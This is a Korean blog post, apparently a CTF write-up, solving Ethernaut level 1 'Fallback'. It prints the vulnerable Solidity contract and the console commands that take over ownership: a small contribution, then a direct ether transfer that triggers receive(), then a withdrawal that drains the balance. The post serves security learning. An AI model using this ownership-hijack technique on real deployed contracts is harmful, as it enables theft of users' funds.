본문 바로가기

CTF/Ethernaut

[Ethernaut] 1. Fallback

 

Ethernaut levevl 1의 요구사항

ownership을 가져오고 컨트랙트의 밸런스를 0으로 만들면 된다. 

지금 오너는 0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB 

 receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

문제에 receive함수가 있어서 보면 우선 msg.sender의 contributions이 0보다 커야하고 0이상의 ethe전송하면 오너가 msg.sender로 바뀐다. 

우선 contribute함수가 있느데 그걸 통해서 user의 contributions을 높여야한다. 

await contract.contribute.sendTransaction({value: toWei('0.0009')})

그리고 contributions함수를 call해보면 추가가 되어있는것을 볼 수 있다. 

await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})

이제 receive함수를 실행시키기 위해서 컨트랙트에 돈을 보낸다.

 

그다음 위에서 확인한 Owner를 다시 한번 확인하면 내가 owner가 되어있는 것을 확인할 수 있다. 

owner면 withdraw를 할 수 있다. 그것까지하면 

 

클리어!

 

level 1 . Fallback 코드 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

'CTF > Ethernaut' 카테고리의 다른 글

[Ethernaut] 6.Delegation  (2) 2024.01.31
[Ethernaut] 5. Token  (0) 2024.01.26
[Ethernaut] 4. Telephone  (0) 2024.01.26
[Ethernaut] 3. Coin Flip  (0) 2024.01.25
[Ethernaut] 2. Fallout  (0) 2024.01.25